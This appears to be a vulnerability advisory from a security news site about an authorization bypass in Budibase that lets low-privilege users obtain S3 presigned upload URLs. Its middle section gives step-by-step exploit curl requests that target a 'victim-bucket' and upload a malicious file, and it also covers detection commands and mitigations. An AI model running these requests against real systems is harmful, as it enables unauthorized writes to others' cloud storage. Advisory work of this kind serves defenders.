Listen to this Post
Budibase version 3.39.7 is vulnerable to an authorization bypass that allows low-privilege authenticated users to obtain arbitrary S3 pre-signed upload URLs. The vulnerability exists in the `/api/attachments/:datasourceId/url` endpoint, where the route authorization logic was changed from a BUILDER permission check to a TABLE/WRITE permission check. Because BASIC role users hold TABLE/WRITE permissions by default, they can send POST requests to this endpoint and obtain S3 PutObject presigned URLs that should not be available to them.
The endpoint accepts attacker-controlled `bucket` and `key` values in the request body, allowing the generation of presigned upload URLs for arbitrary S3 buckets reachable through the application’s configured IAM credentials. The response returns both a `signedUrl` and a publicUrl. The signed URL contains standard AWS signing markers including X-Amz-Credential, X-Amz-Signature, and `X-Amz-Expires=900` (15-minute validity).
The vulnerability manifests differently between development and production environments: a BASIC role request in the development context returns a 403 “User does not have permission” error, but the same request in a published production app context returns a 200 OK response with valid signed URLs. This discrepancy indicates that the authorization check is incorrectly applied or bypassed in the production app context.
A successful attack requires only that the attacker knows a valid `datasourceId` and the published app_id. With these identifiers, a low-privilege user can mint S3 PUT URLs using server-side datasource credentials for attacker-chosen object destinations, effectively gaining unauthorized write access to backend cloud storage.
DailyCVE Form
Platform: Budibase
Version: 3.39.7
Vulnerability: Authorization Bypass
Severity: High
Date: 2026-08-14
Prediction: 2026-08-21
What Undercode Say:
The vulnerability stems from an authorization regression introduced between versions 3.39.4 and 3.40.0. The route authorization logic was changed from a BUILDER permission check to a TABLE/WRITE permission check, which inadvertently granted BASIC users access to the S3 attachment upload endpoint.
Analytics Commands:
Check Budibase version
cd /path/to/budibase
cat package.json | grep version
Check if the vulnerable endpoint is accessible
curl -X POST https://your-budibase-instance/api/attachments/<datasourceId>/url \
-H "x-budibase-app-id: <published_app_id>" \
-H "Cookie: <session_cookie>" \
-H "Content-Type: application/json" \
-d '{"bucket":"test-bucket","key":"test-key"}'
Monitor S3 bucket for unauthorized uploads
aws s3 ls s3://your-bucket/ --recursive --human-readable
Check IAM permissions of the application's credentials
aws sts get-caller-identity
Exploit: (Educational Purposes!)
- Identify a published Budibase app ID (
app_) and a valid datasource ID (datasource_). - Authenticate as a low-privilege user with the built-in BASIC role.
- Send a POST request to `/api/attachments/
/url` with the published app header `x-budibase-app-id: ` and a JSON body containing {"bucket":"foo","key":"bar"}.
4. Receive a response containing `signedUrl` and `publicUrl`.
- Use the `signedUrl` to upload arbitrary objects to the S3 bucket using a standard HTTP PUT request.
Example exploit request curl -X POST https://budibase.example.com/api/attachments/datasource_0cec491b26a742468257c62382aa3284/url \ -H "x-budibase-app-id: app_e6b4cdc6cd6949969a83ff11eee88c5a" \ -H "Cookie: session=..." \ -H "Content-Type: application/json" \ -d '{"bucket":"victim-bucket","key":"malicious-object"}' Use the returned signedUrl to upload a file curl -X PUT "<signedUrl>" \ -H "Content-Type: application/octet-stream" \ --data-binary @malicious-file.bin
Protection
- Upgrade Budibase to version 3.40.0 or later, where the authorization regression is addressed.
- Restrict access to the attachment upload functionality for low-privileged users until patching is completed.
- Enforce server-side validation of allowed destination buckets.
- Apply least-privilege IAM policies so the application’s credentials can write only to explicitly required buckets and prefixes.
- Monitor for anomalous attachment upload activity and unexpected object creation in buckets reachable by the application.
Impact
A low-privilege authenticated user can bypass intended authorization controls and leverage the application’s IAM-backed S3 access to upload arbitrary objects to cloud storage buckets accessible to the configured credentials. This can lead to:
– Unauthorized data placement in S3 buckets
– Storage abuse and resource consumption
– Overwriting or planting content depending on bucket policy and object naming controls
– Potential downstream compromise where uploaded objects are later trusted, processed, or served by other systems
The vulnerability primarily expands a BASIC user’s effective privileges into unauthorized use of backend storage capabilities.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
